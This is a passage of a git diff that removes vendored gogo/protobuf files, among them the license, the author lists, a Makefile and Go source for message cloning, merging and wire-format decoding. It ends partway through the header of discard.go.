b/vendor/github.com/gogo/protobuf/AUTHORS deleted file mode 100644 index 3d97fc7a..00000000 --- a/vendor/github.com/gogo/protobuf/AUTHORS +++ /dev/null @@ -1,15 +0,0 @@ -# This is the official list of GoGo authors for copyright purposes. -# This file is distinct from the CONTRIBUTORS file, which -# lists people. For example, employees are listed in CONTRIBUTORS, -# but not in AUTHORS, because the employer holds the copyright. - -# Names should be added to this file as one of -# Organization's name -# Individual's name -# Individual's name - -# Please keep the list sorted. - -Sendgrid, Inc -Vastech SA (PTY) LTD -Walter Schulze diff --git a/vendor/github.com/gogo/protobuf/CONTRIBUTORS b/vendor/github.com/gogo/protobuf/CONTRIBUTORS deleted file mode 100644 index 1b4f6c20..00000000 --- a/vendor/github.com/gogo/protobuf/CONTRIBUTORS +++ /dev/null @@ -1,23 +0,0 @@ -Anton Povarov -Brian Goff -Clayton Coleman -Denis Smirnov -DongYun Kang -Dwayne Schultz -Georg Apitz -Gustav Paul -Johan Brandhorst -John Shahid -John Tuley -Laurent -Patrick Lee -Peter Edge -Roger Johansson -Sam Nguyen -Sergio Arbeo -Stephen J Day -Tamir Duberstein -Todd Eisenberger -Tormod Erevik Lea -Vyacheslav Kim -Walter Schulze diff --git a/vendor/github.com/gogo/protobuf/LICENSE b/vendor/github.com/gogo/protobuf/LICENSE deleted file mode 100644 index f57de90d..00000000 --- a/vendor/github.com/gogo/protobuf/LICENSE +++ /dev/null @@ -1,35 +0,0 @@ -Copyright (c) 2013, The GoGo Authors. All rights reserved. - -Protocol Buffers for Go with Gadgets - -Go support for Protocol Buffers - Google's data interchange format - -Copyright 2010 The Go Authors. All rights reserved. -https://github.com/golang/protobuf - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - diff --git a/vendor/github.com/gogo/protobuf/proto/Makefile b/vendor/github.com/gogo/protobuf/proto/Makefile deleted file mode 100644 index 00d65f32..00000000 --- a/vendor/github.com/gogo/protobuf/proto/Makefile +++ /dev/null @@ -1,43 +0,0 @@ -# Go support for Protocol Buffers - Google's data interchange format -# -# Copyright 2010 The Go Authors. All rights reserved. -# https://github.com/golang/protobuf -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are -# met: -# -# * Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# * Redistributions in binary form must reproduce the above -# copyright notice, this list of conditions and the following disclaimer -# in the documentation and/or other materials provided with the -# distribution. -# * Neither the name of Google Inc. nor the names of its -# contributors may be used to endorse or promote products derived from -# this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -install: - go install - -test: install generate-test-pbs - go test - - -generate-test-pbs: - make install - make -C test_proto - make -C proto3_proto - make diff --git a/vendor/github.com/gogo/protobuf/proto/clone.go b/vendor/github.com/gogo/protobuf/proto/clone.go deleted file mode 100644 index a26b046d..00000000 --- a/vendor/github.com/gogo/protobuf/proto/clone.go +++ /dev/null @@ -1,258 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2011 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// Protocol buffer deep copy and merge. -// TODO: RawMessage. - -package proto - -import ( - "fmt" - "log" - "reflect" - "strings" -) - -// Clone returns a deep copy of a protocol buffer. -func Clone(src Message) Message { - in := reflect.ValueOf(src) - if in.IsNil() { - return src - } - out := reflect.New(in.Type().Elem()) - dst := out.Interface().(Message) - Merge(dst, src) - return dst -} - -// Merger is the interface representing objects that can merge messages of the same type. -type Merger interface { - // Merge merges src into this message. - // Required and optional fields that are set in src will be set to that value in dst. - // Elements of repeated fields will be appended. - // - // Merge may panic if called with a different argument type than the receiver. - Merge(src Message) -} - -// generatedMerger is the custom merge method that generated protos will have. -// We must add this method since a generate Merge method will conflict with -// many existing protos that have a Merge data field already defined. -type generatedMerger interface { - XXX_Merge(src Message) -} - -// Merge merges src into dst. -// Required and optional fields that are set in src will be set to that value in dst. -// Elements of repeated fields will be appended. -// Merge panics if src and dst are not the same type, or if dst is nil. -func Merge(dst, src Message) { - if m, ok := dst.(Merger); ok { - m.Merge(src) - return - } - - in := reflect.ValueOf(src) - out := reflect.ValueOf(dst) - if out.IsNil() { - panic("proto: nil destination") - } - if in.Type() != out.Type() { - panic(fmt.Sprintf("proto.Merge(%T, %T) type mismatch", dst, src)) - } - if in.IsNil() { - return // Merge from nil src is a noop - } - if m, ok := dst.(generatedMerger); ok { - m.XXX_Merge(src) - return - } - mergeStruct(out.Elem(), in.Elem()) -} - -func mergeStruct(out, in reflect.Value) { - sprop := GetProperties(in.Type()) - for i := 0; i < in.NumField(); i++ { - f := in.Type().Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - mergeAny(out.Field(i), in.Field(i), false, sprop.Prop[i]) - } - - if emIn, ok := in.Addr().Interface().(extensionsBytes); ok { - emOut := out.Addr().Interface().(extensionsBytes) - bIn := emIn.GetExtensions() - bOut := emOut.GetExtensions() - *bOut = append(*bOut, *bIn...) - } else if emIn, err := extendable(in.Addr().Interface()); err == nil { - emOut, _ := extendable(out.Addr().Interface()) - mIn, muIn := emIn.extensionsRead() - if mIn != nil { - mOut := emOut.extensionsWrite() - muIn.Lock() - mergeExtension(mOut, mIn) - muIn.Unlock() - } - } - - uf := in.FieldByName("XXX_unrecognized") - if !uf.IsValid() { - return - } - uin := uf.Bytes() - if len(uin) > 0 { - out.FieldByName("XXX_unrecognized").SetBytes(append([]byte(nil), uin...)) - } -} - -// mergeAny performs a merge between two values of the same type. -// viaPtr indicates whether the values were indirected through a pointer (implying proto2). -// prop is set if this is a struct field (it may be nil). -func mergeAny(out, in reflect.Value, viaPtr bool, prop *Properties) { - if in.Type() == protoMessageType { - if !in.IsNil() { - if out.IsNil() { - out.Set(reflect.ValueOf(Clone(in.Interface().(Message)))) - } else { - Merge(out.Interface().(Message), in.Interface().(Message)) - } - } - return - } - switch in.Kind() { - case reflect.Bool, reflect.Float32, reflect.Float64, reflect.Int32, reflect.Int64, - reflect.String, reflect.Uint32, reflect.Uint64: - if !viaPtr && isProto3Zero(in) { - return - } - out.Set(in) - case reflect.Interface: - // Probably a oneof field; copy non-nil values. - if in.IsNil() { - return - } - // Allocate destination if it is not set, or set to a different type. - // Otherwise we will merge as normal. - if out.IsNil() || out.Elem().Type() != in.Elem().Type() { - out.Set(reflect.New(in.Elem().Elem().Type())) // interface -> *T -> T -> new(T) - } - mergeAny(out.Elem(), in.Elem(), false, nil) - case reflect.Map: - if in.Len() == 0 { - return - } - if out.IsNil() { - out.Set(reflect.MakeMap(in.Type())) - } - // For maps with value types of *T or []byte we need to deep copy each value. - elemKind := in.Type().Elem().Kind() - for _, key := range in.MapKeys() { - var val reflect.Value - switch elemKind { - case reflect.Ptr: - val = reflect.New(in.Type().Elem().Elem()) - mergeAny(val, in.MapIndex(key), false, nil) - case reflect.Slice: - val = in.MapIndex(key) - val = reflect.ValueOf(append([]byte{}, val.Bytes()...)) - default: - val = in.MapIndex(key) - } - out.SetMapIndex(key, val) - } - case reflect.Ptr: - if in.IsNil() { - return - } - if out.IsNil() { - out.Set(reflect.New(in.Elem().Type())) - } - mergeAny(out.Elem(), in.Elem(), true, nil) - case reflect.Slice: - if in.IsNil() { - return - } - if in.Type().Elem().Kind() == reflect.Uint8 { - // []byte is a scalar bytes field, not a repeated field. - - // Edge case: if this is in a proto3 message, a zero length - // bytes field is considered the zero value, and should not - // be merged. - if prop != nil && prop.proto3 && in.Len() == 0 { - return - } - - // Make a deep copy. - // Append to []byte{} instead of []byte(nil) so that we never end up - // with a nil result. - out.SetBytes(append([]byte{}, in.Bytes()...)) - return - } - n := in.Len() - if out.IsNil() { - out.Set(reflect.MakeSlice(in.Type(), 0, n)) - } - switch in.Type().Elem().Kind() { - case reflect.Bool, reflect.Float32, reflect.Float64, reflect.Int32, reflect.Int64, - reflect.String, reflect.Uint32, reflect.Uint64: - out.Set(reflect.AppendSlice(out, in)) - default: - for i := 0; i < n; i++ { - x := reflect.Indirect(reflect.New(in.Type().Elem())) - mergeAny(x, in.Index(i), false, nil) - out.Set(reflect.Append(out, x)) - } - } - case reflect.Struct: - mergeStruct(out, in) - default: - // unknown type, so not a protocol buffer - log.Printf("proto: don't know how to copy %v", in) - } -} - -func mergeExtension(out, in map[int32]Extension) { - for extNum, eIn := range in { - eOut := Extension{desc: eIn.desc} - if eIn.value != nil { - v := reflect.New(reflect.TypeOf(eIn.value)).Elem() - mergeAny(v, reflect.ValueOf(eIn.value), false, nil) - eOut.value = v.Interface() - } - if eIn.enc != nil { - eOut.enc = make([]byte, len(eIn.enc)) - copy(eOut.enc, eIn.enc) - } - - out[extNum] = eOut - } -} diff --git a/vendor/github.com/gogo/protobuf/proto/custom_gogo.go b/vendor/github.com/gogo/protobuf/proto/custom_gogo.go deleted file mode 100644 index 24552483..00000000 --- a/vendor/github.com/gogo/protobuf/proto/custom_gogo.go +++ /dev/null @@ -1,39 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import "reflect" - -type custom interface { - Marshal() ([]byte, error) - Unmarshal(data []byte) error - Size() int -} - -var customType = reflect.TypeOf((*custom)(nil)).Elem() diff --git a/vendor/github.com/gogo/protobuf/proto/decode.go b/vendor/github.com/gogo/protobuf/proto/decode.go deleted file mode 100644 index 63b0f08b..00000000 --- a/vendor/github.com/gogo/protobuf/proto/decode.go +++ /dev/null @@ -1,427 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Routines for decoding protocol buffer data to construct in-memory representations. - */ - -import ( - "errors" - "fmt" - "io" -) - -// errOverflow is returned when an integer is too large to be represented. -var errOverflow = errors.New("proto: integer overflow") - -// ErrInternalBadWireType is returned by generated code when an incorrect -// wire type is encountered. It does not get returned to user code. -var ErrInternalBadWireType = errors.New("proto: internal error: bad wiretype for oneof") - -// DecodeVarint reads a varint-encoded integer from the slice. -// It returns the integer and the number of bytes consumed, or -// zero if there is not enough. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -func DecodeVarint(buf []byte) (x uint64, n int) { - for shift := uint(0); shift < 64; shift += 7 { - if n >= len(buf) { - return 0, 0 - } - b := uint64(buf[n]) - n++ - x |= (b & 0x7F) << shift - if (b & 0x80) == 0 { - return x, n - } - } - - // The number is too large to represent in a 64-bit value. - return 0, 0 -} - -func (p *Buffer) decodeVarintSlow() (x uint64, err error) { - i := p.index - l := len(p.buf) - - for shift := uint(0); shift < 64; shift += 7 { - if i >= l { - err = io.ErrUnexpectedEOF - return - } - b := p.buf[i] - i++ - x |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - p.index = i - return - } - } - - // The number is too large to represent in a 64-bit value. - err = errOverflow - return -} - -// DecodeVarint reads a varint-encoded integer from the Buffer. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -func (p *Buffer) DecodeVarint() (x uint64, err error) { - i := p.index - buf := p.buf - - if i >= len(buf) { - return 0, io.ErrUnexpectedEOF - } else if buf[i] < 0x80 { - p.index++ - return uint64(buf[i]), nil - } else if len(buf)-i < 10 { - return p.decodeVarintSlow() - } - - var b uint64 - // we already checked the first byte - x = uint64(buf[i]) - 0x80 - i++ - - b = uint64(buf[i]) - i++ - x += b << 7 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 7 - - b = uint64(buf[i]) - i++ - x += b << 14 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 14 - - b = uint64(buf[i]) - i++ - x += b << 21 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 21 - - b = uint64(buf[i]) - i++ - x += b << 28 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 28 - - b = uint64(buf[i]) - i++ - x += b << 35 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 35 - - b = uint64(buf[i]) - i++ - x += b << 42 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 42 - - b = uint64(buf[i]) - i++ - x += b << 49 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 49 - - b = uint64(buf[i]) - i++ - x += b << 56 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 56 - - b = uint64(buf[i]) - i++ - x += b << 63 - if b&0x80 == 0 { - goto done - } - - return 0, errOverflow - -done: - p.index = i - return x, nil -} - -// DecodeFixed64 reads a 64-bit integer from the Buffer. -// This is the format for the -// fixed64, sfixed64, and double protocol buffer types. -func (p *Buffer) DecodeFixed64() (x uint64, err error) { - // x, err already 0 - i := p.index + 8 - if i < 0 || i > len(p.buf) { - err = io.ErrUnexpectedEOF - return - } - p.index = i - - x = uint64(p.buf[i-8]) - x |= uint64(p.buf[i-7]) << 8 - x |= uint64(p.buf[i-6]) << 16 - x |= uint64(p.buf[i-5]) << 24 - x |= uint64(p.buf[i-4]) << 32 - x |= uint64(p.buf[i-3]) << 40 - x |= uint64(p.buf[i-2]) << 48 - x |= uint64(p.buf[i-1]) << 56 - return -} - -// DecodeFixed32 reads a 32-bit integer from the Buffer. -// This is the format for the -// fixed32, sfixed32, and float protocol buffer types. -func (p *Buffer) DecodeFixed32() (x uint64, err error) { - // x, err already 0 - i := p.index + 4 - if i < 0 || i > len(p.buf) { - err = io.ErrUnexpectedEOF - return - } - p.index = i - - x = uint64(p.buf[i-4]) - x |= uint64(p.buf[i-3]) << 8 - x |= uint64(p.buf[i-2]) << 16 - x |= uint64(p.buf[i-1]) << 24 - return -} - -// DecodeZigzag64 reads a zigzag-encoded 64-bit integer -// from the Buffer. -// This is the format used for the sint64 protocol buffer type. -func (p *Buffer) DecodeZigzag64() (x uint64, err error) { - x, err = p.DecodeVarint() - if err != nil { - return - } - x = (x >> 1) ^ uint64((int64(x&1)<<63)>>63) - return -} - -// DecodeZigzag32 reads a zigzag-encoded 32-bit integer -// from the Buffer. -// This is the format used for the sint32 protocol buffer type. -func (p *Buffer) DecodeZigzag32() (x uint64, err error) { - x, err = p.DecodeVarint() - if err != nil { - return - } - x = uint64((uint32(x) >> 1) ^ uint32((int32(x&1)<<31)>>31)) - return -} - -// DecodeRawBytes reads a count-delimited byte buffer from the Buffer. -// This is the format used for the bytes protocol buffer -// type and for embedded messages. -func (p *Buffer) DecodeRawBytes(alloc bool) (buf []byte, err error) { - n, err := p.DecodeVarint() - if err != nil { - return nil, err - } - - nb := int(n) - if nb < 0 { - return nil, fmt.Errorf("proto: bad byte length %d", nb) - } - end := p.index + nb - if end < p.index || end > len(p.buf) { - return nil, io.ErrUnexpectedEOF - } - - if !alloc { - // todo: check if can get more uses of alloc=false - buf = p.buf[p.index:end] - p.index += nb - return - } - - buf = make([]byte, nb) - copy(buf, p.buf[p.index:]) - p.index += nb - return -} - -// DecodeStringBytes reads an encoded string from the Buffer. -// This is the format used for the proto2 string type. -func (p *Buffer) DecodeStringBytes() (s string, err error) { - buf, err := p.DecodeRawBytes(false) - if err != nil { - return - } - return string(buf), nil -} - -// Unmarshaler is the interface representing objects that can -// unmarshal themselves. The argument points to data that may be -// overwritten, so implementations should not keep references to the -// buffer. -// Unmarshal implementations should not clear the receiver. -// Any unmarshaled data should be merged into the receiver. -// Callers of Unmarshal that do not want to retain existing data -// should Reset the receiver before calling Unmarshal. -type Unmarshaler interface { - Unmarshal([]byte) error -} - -// newUnmarshaler is the interface representing objects that can -// unmarshal themselves. The semantics are identical to Unmarshaler. -// -// This exists to support protoc-gen-go generated messages. -// The proto package will stop type-asserting to this interface in the future. -// -// DO NOT DEPEND ON THIS. -type newUnmarshaler interface { - XXX_Unmarshal([]byte) error -} - -// Unmarshal parses the protocol buffer representation in buf and places the -// decoded result in pb. If the struct underlying pb does not match -// the data in buf, the results can be unpredictable. -// -// Unmarshal resets pb before starting to unmarshal, so any -// existing data in pb is always removed. Use UnmarshalMerge -// to preserve and append to existing data. -func Unmarshal(buf []byte, pb Message) error { - pb.Reset() - if u, ok := pb.(newUnmarshaler); ok { - return u.XXX_Unmarshal(buf) - } - if u, ok := pb.(Unmarshaler); ok { - return u.Unmarshal(buf) - } - return NewBuffer(buf).Unmarshal(pb) -} - -// UnmarshalMerge parses the protocol buffer representation in buf and -// writes the decoded result to pb. If the struct underlying pb does not match -// the data in buf, the results can be unpredictable. -// -// UnmarshalMerge merges into existing data in pb. -// Most code should use Unmarshal instead. -func UnmarshalMerge(buf []byte, pb Message) error { - if u, ok := pb.(newUnmarshaler); ok { - return u.XXX_Unmarshal(buf) - } - if u, ok := pb.(Unmarshaler); ok { - // NOTE: The history of proto have unfortunately been inconsistent - // whether Unmarshaler should or should not implicitly clear itself. - // Some implementations do, most do not. - // Thus, calling this here may or may not do what people want. - // - // See https://github.com/golang/protobuf/issues/424 - return u.Unmarshal(buf) - } - return NewBuffer(buf).Unmarshal(pb) -} - -// DecodeMessage reads a count-delimited message from the Buffer. -func (p *Buffer) DecodeMessage(pb Message) error { - enc, err := p.DecodeRawBytes(false) - if err != nil { - return err - } - return NewBuffer(enc).Unmarshal(pb) -} - -// DecodeGroup reads a tag-delimited group from the Buffer. -// StartGroup tag is already consumed. This function consumes -// EndGroup tag. -func (p *Buffer) DecodeGroup(pb Message) error { - b := p.buf[p.index:] - x, y := findEndGroup(b) - if x < 0 { - return io.ErrUnexpectedEOF - } - err := Unmarshal(b[:x], pb) - p.index += y - return err -} - -// Unmarshal parses the protocol buffer representation in the -// Buffer and places the decoded result in pb. If the struct -// underlying pb does not match the data in the buffer, the results can be -// unpredictable. -// -// Unlike proto.Unmarshal, this does not reset pb before starting to unmarshal. -func (p *Buffer) Unmarshal(pb Message) error { - // If the object can unmarshal itself, let it. - if u, ok := pb.(newUnmarshaler); ok { - err := u.XXX_Unmarshal(p.buf[p.index:]) - p.index = len(p.buf) - return err - } - if u, ok := pb.(Unmarshaler); ok { - // NOTE: The history of proto have unfortunately been inconsistent - // whether Unmarshaler should or should not implicitly clear itself. - // Some implementations do, most do not. - // Thus, calling this here may or may not do what people want. - // - // See https://github.com/golang/protobuf/issues/424 - err := u.Unmarshal(p.buf[p.index:]) - p.index = len(p.buf) - return err - } - - // Slow workaround for messages that aren't Unmarshalers. - // This includes some hand-coded .pb.go files and - // bootstrap protos. - // TODO: fix all of those and then add Unmarshal to - // the Message interface. Then: - // The cast above and code below can be deleted. - // The old unmarshaler can be deleted. - // Clients can call Unmarshal directly (can already do that, actually). - var info InternalMessageInfo - err := info.Unmarshal(pb, p.buf[p.index:]) - p.index = len(p.buf) - return err -} diff --git a/vendor/github.com/gogo/protobuf/proto/deprecated.go b/vendor/github.com/gogo/protobuf/proto/deprecated.go deleted file mode 100644 index 35b882c0..00000000 --- a/vendor/github.com/gogo/protobuf/proto/deprecated.go +++ /dev/null @@ -1,63 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2018 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import "errors" - -// Deprecated: do not use. -type Stats struct{ Emalloc, Dmalloc, Encode, Decode, Chit, Cmiss, Size uint64 } - -// Deprecated: do not use. -func GetStats() Stats { return Stats{} } - -// Deprecated: do not use. -func MarshalMessageSet(interface{}) ([]byte, error) { - return nil, errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func UnmarshalMessageSet([]byte, interface{}) error { - return errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func MarshalMessageSetJSON(interface{}) ([]byte, error) { - return nil, errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func UnmarshalMessageSetJSON([]byte, interface{}) error { - return errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func RegisterMessageSetType(Message, int32, string) {} diff --git a/vendor/github.com/gogo/protobuf/proto/discard.go b/vendor/github.com/gogo/protobuf/proto/discard.go deleted file mode 100644 index fe1bd7d9..00000000 --- a/vendor/github.com/gogo/protobuf/proto/discard.go +++ /dev/null @@ -1,350 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2017 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE 